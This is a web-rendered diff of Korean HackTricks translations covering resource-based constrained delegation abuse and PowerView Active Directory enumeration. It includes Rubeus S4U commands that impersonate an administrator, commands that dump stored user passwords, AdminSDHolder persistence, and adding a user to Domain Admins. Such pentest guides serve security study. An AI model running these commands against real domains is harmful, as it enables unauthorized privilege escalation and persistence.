* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com) 획득
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 리소스 기반 제약 위임의 기본
|
||||
|
||||
이것은 기본 [제약 위임](constrained-delegation.md)과 유사하지만 **객체에 대한 권한을 부여하는 대신 서비스에 대해 어떤 사용자든 표현할 수 있는 권한을 부여하는 것**입니다. 리소스 기반 제약 위임은 **객체에 대해 어떤 사용자든 표현할 수 있는 권한을 설정**합니다.
|
||||
이것은 기본 [제약 위임](constrained-delegation.md)과 유사하지만 **객체에 사용자를 위조할 수 있는 권한을 부여하는 대신** 리소스 기반 제약 위임은 **해당 객체에서 어떤 사용자가 자신을 위조할 수 있는지 설정**합니다.
|
||||
|
||||
이 경우, 제약된 객체에는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성이 있으며 해당 사용자의 이름을 가질 수 있습니다. 이 사용자는 해당 객체에 대해 다른 사용자를 표현할 수 있습니다.
|
||||
이 경우, 제약된 객체에는 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_라는 속성이 있으며 해당 사용자의 이름을 가질 수 있습니다.
|
||||
|
||||
이 제약 위임과 다른 위임 사이의 또 다른 중요한 차이점은 **기계 계정에 대한 쓰기 권한을 가진 모든 사용자**가 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_를 설정할 수 있다는 것입니다. (일반적으로/GenericWrite/WriteDacl/WriteProperty 등) (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).
|
||||
이 Constrained Delegation과 다른 중요한 차이점은 **기계 계정에 쓰기 권한이 있는 모든 사용자**가 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_를 설정할 수 있다는 것입니다 (다른 형태의 위임에서는 도메인 관리자 권한이 필요했습니다).
|
||||
|
||||
### 새로운 개념
|
||||
|
||||
제약 위임에서는 사용자의 _userAccountControl_ 값 내의 **`TrustedToAuthForDelegation`** 플래그가 **S4U2Self**를 수행하는 데 필요하다고 말했습니다. 그러나 그것은 완전한 진실이 아닙니다.\
|
||||
사실은 그 값이 없어도 **서비스**인 경우 (SPN이 있는 경우) **어떤 사용자든 S4U2Self**를 수행할 수 있지만, **`TrustedToAuthForDelegation`**이 있는 경우 반환된 TGS는 **Forwardable**이 되고 그 플래그가 없는 경우 반환된 TGS는 **Forwardable**하지 않습니다.
|
||||
사실, 그 값이 없어도 **서비스**인 경우 (SPN이 있는 경우) **어떤 사용자에 대해 S4U2Self**를 수행할 수 있지만, **`TrustedToAuthForDelegation`**이 있다면 반환된 TGS가 **Forwardable**이 되고 그 플래그가 없으면 반환된 TGS가 **Forwardable**하지 않습니다.
|
||||
|
||||
그러나 **S4U2Proxy**에서 사용된 **TGS**가 **Forwardable**하지 않은 경우 **기본 제약 위임을 악용**하려고 하면 **작동하지 않을 것**입니다. 그러나 **리소스 기반 제약 위임을 악용**하려고 하면 작동합니다 (이것은 취약점이 아니라 기능입니다).
|
||||
그러나 **S4U2Proxy**에서 사용된 **TGS**가 **Forwardable**하지 않은 경우 **기본 제약 위임을 악용**하려고 하면 **작동하지 않을 것**입니다. 그러나 **리소스 기반 제약 위임을 악용**하려고 하면 작동합니다 (이것은 취약점이 아니라 기능인 것으로 보입니다).
|
||||
|
||||
### 공격 구조
|
||||
|
||||
> **컴퓨터** 계정에 대한 **쓰기 동등 권한**이 있다면 해당 기계에서 **특권 액세스**를 얻을 수 있습니다.
|
||||
> **컴퓨터** 계정에 **쓰기 동등 권한**이 있다면 해당 컴퓨터에서 **특권 액세스**를 얻을 수 있습니다.
|
||||
|
||||
공격자가 이미 피해자 컴퓨터에 대한 **쓰기 동등 권한**을 가지고 있다고 가정합니다.
|
||||
|
||||
1. 공격자는 **SPN**을 가진 계정을 **침해**하거나 생성합니다 ("서비스 A"). **특별한 특권이 없는** 모든 _관리자 사용자_는 최대 10개의 **컴퓨터 객체**(**MachineAccountQuota**)를 **생성**하고 SPN을 설정할 수 있습니다. 따라서 공격자는 컴퓨터 객체를 만들고 SPN을 설정할 수 있습니다.
|
||||
2. 공격자는 피해자 컴퓨터 (서비스B)에 대한 **쓰기 권한을 악용**하여 서비스A가 해당 피해자 컴퓨터 (서비스B)에 대해 **어떤 사용자든 표현할 수 있도록 리소스 기반 제약 위임을 구성**합니다.
|
||||
3. 공격자는 Rubeus를 사용하여 특권 액세스를 가진 사용자를 위해 서비스 A에서 서비스 B로의 **전체 S4U 공격** (S4U2Self 및 S4U2Proxy)을 수행합니다.
|
||||
1. S4U2Self (침해된/생성된 SPN 계정에서): **관리자로부터 나에게 TGS를 요청**합니다 (Forwardable하지 않음).
|
||||
2. S4U2Proxy: 앞 단계의 **Forwardable하지 않은 TGS**를 사용하여 **관리자로부터 피해자 호스트로의 TGS**를 요청합니다.
|
||||
1. 공격자는 **SPN**을 가진 계정을 **침해**하거나 생성합니다 ("서비스 A"). **특별한 권한이 없는 모든** _관리자 사용자_는 최대 10개의 **컴퓨터 객체**(_**MachineAccountQuota**_)를 **생성**하고 SPN을 설정할 수 있습니다. 따라서 공격자는 컴퓨터 객체를 만들고 SPN을 설정할 수 있습니다.
|
||||
2. 공격자는 피해자 컴퓨터 (서비스B)에 대한 **쓰기 권한을 악용**하여 서비스A가 해당 피해자 컴퓨터 (서비스B)에 대해 **어떤 사용자든 위조할 수 있도록 리소스 기반 제약 위임을 구성**합니다.
|
||||
3. 공격자는 Rubeus를 사용하여 특권 액세스를 가진 사용자를 위해 서비스 A에서 서비스 B로 **전체 S4U 공격** (S4U2Self 및 S4U2Proxy)을 수행합니다.
|
||||
1. S4U2Self (침해된/생성된 SPN 계정에서): **관리자로부터 나에게 TGS**를 요청합니다 (Forwardable하지 않음).
|
||||
2. S4U2Proxy: 앞 단계의 **Forwardable하지 않은 TGS**를 사용하여 **관리자로부터 피해자 호스트로 TGS**를 요청합니다.
|
||||
3. Forwardable하지 않은 TGS를 사용하더라도 리소스 기반 제약 위임을 악용하고 있기 때문에 작동합니다.
|
||||
4. 공격자는 **티켓 전달**을 수행하고 사용자를 **표현**하여 **피해자 서비스B에 액세스**할 수 있습니다.
|
||||
4. 공격자는 **티켓 전달**을 수행하고 사용자를 **위조**하여 **피해자 서비스B에 액세스**할 수 있습니다.
|
||||
|
||||
도메인의 _**MachineAccountQuota**_를 확인하려면 다음을 사용할 수 있습니다:
|
||||
```powershell
|
||||
|
@ -101,13 +101,13 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /
|
|||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
사용자에게 "**위임할 수 없음**"이라는 속성이 있다는 점을 유의하십시오. 사용자가 이 속성을 True로 설정하면 해당 사용자를 표현할 수 없습니다. 이 속성은 bloodhound 내에서 확인할 수 있습니다.
|
||||
사용자에게는 "**위임할 수 없음**"이라는 속성이 있음을 유의하십시오. 사용자가 이 속성을 True로 설정하면 해당 사용자를 표현할 수 없습니다. 이 속성은 bloodhound 내에서 확인할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 접근
|
||||
|
||||
마지막 명령줄은 **완전한 S4U 공격을 수행하고 관리자로부터 피해 호스트로 TGS를 삽입**합니다.\
|
||||
이 예에서는 관리자로부터 **CIFS** 서비스를 위한 TGS가 요청되었으므로 **C$**에 액세스할 수 있습니다:
|
||||
마지막 명령줄은 **완전한 S4U 공격을 수행하고 TGS를 관리자에서 피해 호스트로 **메모리**에 삽입**합니다.\
|
||||
이 예에서는 관리자로부터 **CIFS** 서비스를 위한 TGS가 요청되었으므로 **C$**에 액세스할 수 있습니다.
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
|
@ -117,22 +117,22 @@ ls \\victim.domain.local\C$
|
|||
|
||||
## 케르버로스 오류
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: 이는 케르버로스가 DES 또는 RC4을 사용하지 않도록 구성되어 있고 당신이 단순히 RC4 해시를 제공하고 있는 것을 의미합니다. 적어도 AES256 해시를 Rubeus에 제공하십시오 (또는 rc4, aes128 및 aes256 해시를 제공하십시오). 예시: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: 현재 컴퓨터의 시간이 DC의 시간과 다르며 케르버로스가 제대로 작동하지 않는 것을 의미합니다.
|
||||
- **`preauth_failed`**: 주어진 사용자 이름 + 해시가 로그인에 작동하지 않는다는 것을 의미합니다. 해시를 생성할 때 사용자 이름에 "$"를 넣는 것을 잊었을 수 있습니다 (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
- **`KDC_ERR_BADOPTION`**: 이는 다음을 의미할 수 있습니다:
|
||||
- 피해자로 변장하려는 사용자가 원하는 서비스에 액세스할 수 없음 (피해자로 변장할 수 없거나 충분한 권한이 없을 수 있음)
|
||||
- 요청한 서비스가 존재하지 않음 (winrm 티켓을 요청했지만 winrm이 실행되고 있지 않은 경우)
|
||||
- 생성된 가짜 컴퓨터가 취약한 서버에 대한 권한을 잃었으며 다시 부여해야 함
|
||||
* **`KDC_ERR_ETYPE_NOTSUPP`**: 이는 케르버로스가 DES 또는 RC4을 사용하지 않도록 구성되어 있고 RC4 해시만 제공하는 경우를 의미합니다. 적어도 AES256 해시를 Rubeus에 제공하십시오 (또는 rc4, aes128 및 aes256 해시를 제공하십시오). 예시: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
* **`KRB_AP_ERR_SKEW`**: 현재 컴퓨터의 시간이 DC의 시간과 다르며 케르버로스가 제대로 작동하지 않는 것을 의미합니다.
|
||||
* **`preauth_failed`**: 주어진 사용자 이름 + 해시가 로그인에 작동하지 않는다는 것을 의미합니다. 해시를 생성할 때 사용자 이름에 "$"를 넣는 것을 잊었을 수 있습니다 (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
|
||||
* **`KDC_ERR_BADOPTION`**: 이는 다음을 의미할 수 있습니다:
|
||||
* 특정 서비스에 액세스할 수 없는 사용자를 흉내 내려고 하는 경우 (흉내 내거나 권한이 충분하지 않은 경우)
|
||||
* 요청한 서비스가 존재하지 않는 경우 (winrm 티켓을 요청했지만 winrm이 실행되지 않는 경우)
|
||||
* 생성된 가짜 컴퓨터가 취약한 서버에 대한 권한을 잃었으며 다시 부여해야 하는 경우
|
||||
|
||||
## 참고 자료
|
||||
|
||||
- [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
* [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
|
||||
* [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -142,10 +142,10 @@ ls \\victim.domain.local\C$
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 PR을 제출하여 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 참여하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 저를 팔로우하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -151,8 +151,8 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
|||
```
|
||||
### 그룹 정책 개체 - GPOs
|
||||
|
||||
만약 공격자가 **GPO에 대한 높은 권한**을 가지고 있다면, **사용자에게 권한을 추가**하거나, 호스트에 **로컬 관리자 사용자를 추가**하거나, 즉시 **작업을 수행할 예약된 작업을 생성**하여 이를 악용하여 **권한 상승**을 할 수 있습니다.\
|
||||
[**자세한 정보 및 악용 방법은 이 링크를 참조하세요**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
만약 공격자가 **GPO에 대한 높은 권한**을 가지고 있다면, **사용자에게 권한을 추가**하거나, 호스트에 **로컬 관리자 사용자를 추가**하거나, 즉시 **작업을 수행할 예약된 작업을 생성**하여 그것을 악용하여 **권한 상승**을 할 수 있습니다.\
|
||||
[**자세한 정보 및 악용 방법은 이 링크를 참고하세요**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
```powershell
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
|
@ -213,7 +213,7 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
|
|||
#Get special rights over All administrators in domain
|
||||
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
|
||||
```
|
||||
### 공유 파일 및 폴더
|
||||
### 공유된 파일 및 폴더
|
||||
```powershell
|
||||
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
|
||||
Find-DomainShare -CheckShareAccess #Search readable shares
|
||||
|
@ -236,7 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
|||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### 쉬운 과일
|
||||
### 낮은 과일
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
@ -282,7 +282,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
|||
```
|
||||
### 기타
|
||||
|
||||
#### SID를 이름으로 변경
|
||||
#### SID에서 이름으로
|
||||
```powershell
|
||||
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
|
||||
```
|
||||
|
@ -317,18 +317,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
|
|||
# Add user to 'Domain Admins'
|
||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong>!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하길 원하시나요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면 [hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 [hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue